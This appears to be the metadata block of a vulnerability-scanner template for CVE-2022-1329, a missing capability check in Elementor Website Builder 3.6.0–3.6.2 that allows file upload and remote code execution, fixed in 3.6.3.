id: CVE-2022-1329

info:
  name: Elementor Website Builder - Remote Code Execution
  author: theamanrawat
  severity: high
  description: |
    The Elementor Website Builder plugin for WordPress versions 3.6.0 to 3.6.2 are vulnerable to unauthorized execution of several AJAX actions due to a missing capability check in the ~/core/app/modules/onboarding/module.php file. This makes it possible for attackers to modify site data and upload malicious files which can be used to obtain remote code execution.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: Fixed in version 3.6.3
